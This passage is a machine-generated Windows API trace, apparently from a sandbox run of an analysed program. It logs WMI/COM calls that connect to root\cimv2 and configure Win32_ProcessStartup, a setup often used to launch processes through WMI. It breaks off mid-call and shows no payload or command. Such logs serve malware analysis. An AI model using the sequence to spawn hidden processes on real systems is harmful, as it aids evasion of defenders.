| out: ppvObject=0x1bb7e020*=0x1aa02de0) returned 0x0 [0149.372] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6bd0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa02da0) returned 0x0 [0149.372] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02da0, pProxy=0x1bcc6bd0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0149.372] WbemLocator:IUnknown:Release (This=0x1aa02da0) returned 0x2 [0149.372] WbemLocator:IUnknown:Release (This=0x1aa02de0) returned 0x1 [0149.372] CoTaskMemFree (pv=0x1bc6dc80) [0149.372] WbemLocator:IUnknown:AddRef (This=0x1bcc6bd0) returned 0x2 [0149.372] WbemLocator:IUnknown:Release (This=0x1bc89b50) returned 0x0 [0149.373] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0149.373] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0149.373] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6bd0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa02db0) returned 0x0 [0149.373] WbemLocator:IRpcOptions:Query (in: This=0x1aa02db0, pPrx=0x1bc89ab0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0149.373] WbemLocator:IUnknown:Release (This=0x1aa02db0) returned 0x2 [0149.373] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0149.373] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0149.373] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6bd0, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bcc6bd0) returned 0x0 [0149.373] WbemLocator:IUnknown:Release (This=0x1bcc6bd0) returned 0x2 [0149.373] SysStringLen (param_1=0x0) returned 0x0 [0149.373] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf520, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0149.373] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf520, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0149.374] IWbemServices:GetObject (in: This=0x1bcc6bd0, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bb91870, ppCallResult=0x0) returned 0x0 [0149.375] IWbemClassObject:Get (in: This=0x1bb91870, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0149.375] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0149.376] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0149.376] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0149.376] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0149.376] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0149.376] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.378] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc89b50) returned 0x0 [0149.378] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89b50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0149.379] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89b50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bbbf2e0) returned 0x0 [0149.379] WbemDefPath:IUnknown:Release (This=0x1bc89b50) returned 0x0 [0149.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bbbf2e0) returned 0x0 [0149.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0149.379] WbemDefPath:IUnknown:AddRef (This=0x1bbbf2e0) returned 0x3 [0149.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0149.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0149.379] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc89a30) returned 0x0 [0149.379] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc89a30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.379] WbemDefPath:IUnknown:Release (This=0x1bc89a30) returned 0x3 [0149.379] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0149.380] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0149.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0149.380] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x2 [0149.380] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x1 [0149.380] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0149.380] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0149.380] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf2e0, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bbbf2e0) returned 0x0 [0149.380] WbemDefPath:IUnknown:AddRef (This=0x1bbbf2e0) returned 0x3 [0149.380] WbemDefPath:IUnknown:Release (This=0x1bbbf2e0) returned 0x2 [0149.380] WbemDefPath:IWbemPath:SetText (This=0x1bbbf2e0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0149.380] IWbemClassObject:Get (in: This=0x1bb91870, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27db6c0*=0, plFlavor=0x27db6c4*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27db6c0*=19, plFlavor=0x27db6c4*=0) returned 0x0 [0149.380] IWbemClassObject:Get (in: This=0x1bb91870, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27db6c0*=19, plFlavor=0x27db6c4*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27db6c0*=19, plFlavor=0x27db6c4*=0) returned 0x0 [0149.380] IWbemClassObject:Put (This=0x1bb91870, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0149.381] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf5e0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0149.381] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0149.381] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0149.381] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.381] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0149.381] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0149.381] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0149.381] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.383] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bc89730) returned 0x0 [0149.383] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc89730, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0149.383] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc89730, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bbbf220) returned 0x0 [0149.384] WbemDefPath:IUnknown:Release (This=0x1bc89730) returned 0x0 [0149.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bbbf220) returned 0x0 [0149.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0149.384] WbemDefPath:IUnknown:AddRef (This=0x1bbbf220) returned 0x3 [0149.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0149.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0149.384] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bc897d0) returned 0x0 [0149.384] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc897d0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0149.384] WbemDefPath:IUnknown:Release (This=0x1bc897d0) returned 0x3 [0149.384] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0149.384] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0149.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0149.385] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x2 [0149.385] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x1 [0149.385] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0149.385] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0149.385] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbf220, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bbbf220) returned 0x0 [0149.385] WbemDefPath:IUnknown:AddRef (This=0x1bbbf220) returned 0x3 [0149.385] WbemDefPath:IUnknown:Release (This=0x1bbbf220) returned 0x2 [0149.385] WbemDefPath:IWbemPath:SetText (This=0x1bbbf220, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0149.385] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0149.385] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0149.385] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.385] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0149.385] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0149.385] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0149.385] IUnknown:Release (This=0x1a943398) returned 0x1 [0149.386] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1bc89410) returned 0x0 [0149.387] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89410, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0149.387] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc89410, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1bc89430) returned 0x0 [0149.387] WbemLocator:IUnknown:Release (This=0x1bc89410) returned 0x0 [0149.387] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89430, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1bc89430) returned 0x0 [0149.387] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89430, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0149.387] WbemLocator:IUnknown:AddRef (This=0x1bc89430) returned 0x3 [0149.387] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89430, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0149.387] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89430, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0149.388] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89430, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0149.388] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0149.388] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0149.388] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89430, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0149.388] WbemLocator:IUnknown:Release (This=0x1bc89430) returned 0x2 [0149.388] WbemLocator:IUnknown:Release (This=0x1bc89430) returned 0x1 [0149.388] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0149.388] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0149.388] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc89430, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc89430) returned 0x0 [0149.388] WbemLocator:IUnknown:AddRef (This=0x1bc89430) returned 0x3 [0149.388] WbemLocator:IUnknown:Release (This=0x1bc89430) returned 0x2 [0149.388] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbf220, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0149.388] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0149.388] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf220, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0149.388] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1bc894d0) returned 0x0 [0149.389] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc894d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1bcc6480) returned 0x0 [0149.535] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc6480, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa02aa0) returned 0x0 [0149.536] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02aa0, pProxy=0x1bcc6480, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, 